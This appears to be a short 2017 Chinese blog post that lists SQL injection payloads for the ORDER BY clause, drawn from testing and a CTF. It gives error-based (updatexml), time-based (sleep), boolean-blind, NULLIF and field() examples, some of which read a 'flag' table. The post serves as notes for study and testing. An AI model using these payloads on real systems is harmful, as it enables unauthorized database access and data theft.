order by 后注入的常见方式

 

最近在测试的时候有遇到个一个 order by 注入,稍有点绕,加上之前在 0ctf 的时候也遇到了这种情况,就简单记录一下。

 

order by 后面的语法如下:

[ORDER BY {col_name | expr | position}  
[ASC | DESC], ...]  

所以我们在 order by 后面可以跟字段名或者位置,如下:

常见的 order by 注入形式大致有以下几种:

1)报错注入

order by 1 and 1=updatexml(0,concat(0x7e,version(),0x7e),1)
order by updatexml(0,concat(0x7e,version()),1

2)延时注入

order by username,if((1=2),sleep(1),sleep(0))

3)布尔盲注

布尔注入和上面的延时注入类似,根据 if 语句的正确与否,然后按后面第二位或者第三位排序

order by if(mid(version(),1,1)like('4%'),username,password);

没 = 号,使用 NULLIF

order by if(ascii((select nullif(ascii(mid(flag,1,1)),0x75) from flag)),id,password);

使用 field() 字段自定义排序

order by field(id,1,if(1=1,2,3)) desc;

 

posted on 2017-04-20 20:10  镱鍚  阅读(1680)  评论(0编辑  收藏  举报

导航